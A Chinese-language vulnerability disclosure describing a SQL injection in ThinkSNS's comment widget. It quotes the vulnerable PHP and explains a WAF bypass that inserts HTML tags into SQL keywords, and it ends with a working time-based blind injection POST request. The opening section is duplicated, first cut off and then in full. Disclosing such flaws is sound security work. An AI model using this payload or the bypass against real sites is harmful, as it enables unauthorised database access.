### 简要描述: ThinkSNS漏洞系列第一弹,某处处理不当导致SQL注入 ### 详细说明: 漏洞点出现在Comment Widget里: \addons\widget\CommentWidget\CommentWidget.class.php:138 ``` /** * 添加评论的操作 * * @return array 评论添加状态和提示信息 */ public function addcomment() { // 返回结果集默认值 $return = array ( 'status' => 0, 'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' ) ); // 获取接收数据 $data = $_POST; // 安全过滤 foreach ( $data as $key => $val ) { $data [$key] = t ( $data [$key] ); } // 评论所属与评论内容 $data ['app'] = $data ['app_name']; $data ['table'] = $data ['table_name']; $data ['content'] = h ( $data ['content'] ); // 判断资源是否被删除 $dao = M ( $data ['table'] ); $idField = $dao->getPk (); $map [$idField] = $data ['row_id']; $sourceInfo = $dao->where ( $map )->find (); if (! $sourceInfo) { $return ['status'] = 0; $return ['data'] = '内容已被删除,评论失败'; exit ( json_encode ( $return ) ); } ... ... ... ... ... ... // 添加评论操作 $data ['comment_id'] = model ( 'Comment' )->addComment ( $data ); if ($data ['comment_id']) { $return ['status'] = 1; $return ['data'] =...
### 简要描述: ThinkSNS漏洞系列第一弹,某处处理不当导致SQL注入 ### 详细说明: 漏洞点出现在Comment Widget里: \addons\widget\CommentWidget\CommentWidget.class.php:138 ``` /** * 添加评论的操作 * * @return array 评论添加状态和提示信息 */ public function addcomment() { // 返回结果集默认值 $return = array ( 'status' => 0, 'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' ) ); // 获取接收数据 $data = $_POST; // 安全过滤 foreach ( $data as $key => $val ) { $data [$key] = t ( $data [$key] ); } // 评论所属与评论内容 $data ['app'] = $data ['app_name']; $data ['table'] = $data ['table_name']; $data ['content'] = h ( $data ['content'] ); // 判断资源是否被删除 $dao = M ( $data ['table'] ); $idField = $dao->getPk (); $map [$idField] = $data ['row_id']; $sourceInfo = $dao->where ( $map )->find (); if (! $sourceInfo) { $return ['status'] = 0; $return ['data'] = '内容已被删除,评论失败'; exit ( json_encode ( $return ) ); } ... ... ... ... ... ... // 添加评论操作 $data ['comment_id'] = model ( 'Comment' )->addComment ( $data ); if ($data ['comment_id']) { $return ['status'] = 1; $return ['data'] = $this->parseComment ( $data ); // 同步到微吧 if ($data ['app'] == 'weiba') $this->_upateToweiba ( $data ); ... ... ... ... ... } ``` $_POST经过$data [$key] = t( $data [$key] )后成为$data。 然后添加评论后会根据$data['app']选择同步到哪些应用中去,比如: ``` // 同步到微吧 if ($data ['app'] == 'weiba') $this->_upateToweiba ( $data ); ``` \addons\widget\CommentWidget\CommentWidget.class.php:252: ``` // 同步到微吧 function _upateToweiba($data) { $postDetail = D ( 'weiba_post' )->where ( 'feed_id=' . $data ['row_id'] )->find (); if (! $postDetail) return false; ... ... ... ... ... } ``` $data['row_id']进入$postDetail = D ( 'weiba_post' )->where ( 'feed_id=' . $data ['row_id'] )->find (),两边没有单引号包围。 而$data['row_id']是前台可控的变量,来自$_POST['row_id'],so,这里就存在SQL注入了。 由于ThinkSNS前台有WAF,因此需要结合t()来绕过: \core\OpenSociax\functions.inc.php:630 ``` /** * t函数用于过滤标签,输出没有html的干净的文本 * @param string text 文本内容 * @return string 处理后内容 */ function t($text){ $text = nl2br($text); $text = real_strip_tags($text); $text = addslashes($text); $text = trim($text); return $text; } ``` 经过t()的变量都会过real_strip_tags($text): \core\OpenSociax\functions.inc.php:2274 ``` function real_strip_tags($str, $allowable_tags="") { $str = html_entity_decode($str,ENT_QUOTES,'UTF-8'); return strip_tags($str, $allowable_tags); } ``` 而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag,所以在SQL关键字中插入tag就能bypass waf,最后成为可以被利用的SQL注入。 ### 漏洞证明: 基于时间的盲注,POST请求都要带上正确的referer。 ``` POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1 app_name=weiba&table_name=user&content=test&row_id=2 a<a>nd 0=sle<a>ep(2);-- -&app_detail_summary= ``` [<img src="https://images.seebug.org/upload/201411/02173146eab7751ee5f97aa9d6967d15385e9946.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/02173146eab7751ee5f97aa9d6967d15385e9946.jpg)